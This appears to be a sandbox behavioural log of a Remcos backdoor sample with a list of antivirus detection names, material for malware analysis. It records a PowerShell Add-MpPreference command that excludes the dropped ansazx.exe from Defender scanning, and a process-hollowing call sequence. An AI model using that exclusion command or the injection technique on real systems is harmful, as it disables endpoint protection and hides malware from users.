filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\ansazx.exe"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003a4
1 1 0

CreateProcessInternalW

 thread_identifier: 3012
thread_handle: 0x00000278
process_identifier: 3008
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\ansazx.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\ansazx.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000374
1 1 0

NtGetContextThread

 thread_handle: 0x00000278
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3008
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000374
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELäGÅFà  Ò ðð@ð@.textÑÒ `
base_address: 0x00400000
process_identifier: 3008
process_handle: 0x00000374
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 3008
process_handle: 0x00000374
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 3008
process_handle: 0x00000374
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4321440
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000278
process_identifier: 3008
1 0 0

NtResumeThread

 thread_handle: 0x00000278
suspend_count: 1
process_identifier: 3008
1 0 0

NtResumeThread

 thread_handle: 0x00000298
suspend_count: 1
process_identifier: 2964
1 0 0

NtResumeThread

 thread_handle: 0x000002ec
suspend_count: 1
process_identifier: 2964
1 0 0

NtResumeThread

 thread_handle: 0x00000448
suspend_count: 1
process_identifier: 2964
1 0 0

NtResumeThread

 thread_handle: 0x000004a8
suspend_count: 1
process_identifier: 2964
1 0 0
Lionic Trojan.Win32.Remcos.4!c
MicroWorld-eScan Gen:Variant.Strictor.279944
FireEye Generic.mg.1d132b7a35d336fc
McAfee Artemis!1D132B7A35D3
Malwarebytes Malware.AI.2536130050
VIPRE Gen:Variant.Strictor.279944
Sangfor Trojan.Msil.Kryptik.Vige
K7AntiVirus Trojan ( 005a74e81 )
K7GW Trojan ( 005a74e81 )
Cybereason malicious.3b1cd3
Arcabit Trojan.Strictor.D44588
Cyren W32/MSIL_Agent.FPI.gen!Eldorado
Symantec Scr.Malcode!gdn34
Elastic malicious (high confidence)
ESET-NOD32 a variant of MSIL/GenKryptik.GLFF
Cynet Malicious (score: 100)
APEX Malicious
Kaspersky HEUR:Backdoor.MSIL.Remcos.gen
BitDefender Gen:Variant.Strictor.279944
Avast PWSX-gen [Trj]
Emsisoft Gen:Variant.Strictor.279944 (B)
DrWeb Trojan.Inject4.58552
McAfee-GW-Edition BehavesLike.Win32.Generic.jc
Trapmine malicious.moderate.ml.score
SentinelOne Static AI - Malicious PE
Antiy-AVL GrayWare/MSIL.Kryptik.eve
Microsoft Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm HEUR:Backdoor.MSIL.Remcos.gen
GData Gen:Variant.Strictor.279944
Google Detected
BitDefenderTheta Gen:NN.ZemsilF.36270.Mm0@aOJcJpl
ALYac Gen:Variant.Strictor.279944
MAX malware (ai score=88)
Cylance unsafe
Rising Malware.Obfus/MSIL@AI.91 (RDM.MSIL2:4M13EgqcxLlQejDtjbvQ3A)
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Kryptik.AJCW!tr
AVG PWSX-gen [Trj]
DeepInstinct MALICIOUS
CrowdStrike win/malicious_confidence_100% (W)